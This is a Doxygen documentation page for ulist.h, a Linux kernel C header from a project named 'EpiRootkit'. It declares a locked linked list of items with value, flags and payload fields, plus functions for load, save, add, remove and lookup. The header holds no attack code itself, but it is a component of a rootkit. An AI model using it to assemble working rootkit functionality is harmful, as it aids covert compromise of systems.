EpiRootkit
By STDBOOL
Loading...
Searching...
No Matches
ulist.h
Go to the documentation of this file.
1#ifndef ULIST_H
2#define ULIST_H
3
4#include <linux/list.h>
5#include <linux/spinlock.h>
6#include <linux/types.h>
7
8struct ulist_item {
9 char *value;
10 u32 flags;
11 char *payload;
12 struct list_head list;
13};
14
15struct ulist {
16 struct list_head head;
17 spinlock_t lock;
18 const char *filename;
19};
20
21static inline void ulist_init(struct ulist *ul, const char *fname)
22{
23 INIT_LIST_HEAD(&ul->head);
24 spin_lock_init(&ul->lock);
25 ul->filename = fname;
26}
27
28void ulist_clear(struct ulist *ul);
29
30int ulist_contains(struct ulist *ul, const char *value);
31int ulist_load(struct ulist *ul);
32int ulist_save(struct ulist *ul);
33int ulist_add(struct ulist *ul, const char *value, u32 flags, const char *payload);
34int ulist_remove(struct ulist *ul, const char *value);
35int ulist_contains(struct ulist *ul, const char *value);
36int ulist_list(struct ulist *ul, char *buf, size_t buf_size);
37
38#endif /* ULIST_H */
char * payload
Definition ulist.h:11
struct list_head list
Definition ulist.h:12
char * value
Definition ulist.h:9
u32 flags
Definition ulist.h:10
Definition ulist.h:15
struct list_head head
Definition ulist.h:16
spinlock_t lock
Definition ulist.h:17
const char * filename
Definition ulist.h:18
int ulist_add(struct ulist *ul, const char *value, u32 flags, const char *payload)
Definition ulist.c:208
void ulist_clear(struct ulist *ul)
Definition ulist.c:39
int ulist_load(struct ulist *ul)
Definition ulist.c:58
static void ulist_init(struct ulist *ul, const char *fname)
Definition ulist.h:21
int ulist_list(struct ulist *ul, char *buf, size_t buf_size)
Definition ulist.c:282
int ulist_save(struct ulist *ul)
Definition ulist.c:169
int ulist_remove(struct ulist *ul, const char *value)
Definition ulist.c:236
int ulist_contains(struct ulist *ul, const char *value)
Definition ulist.c:258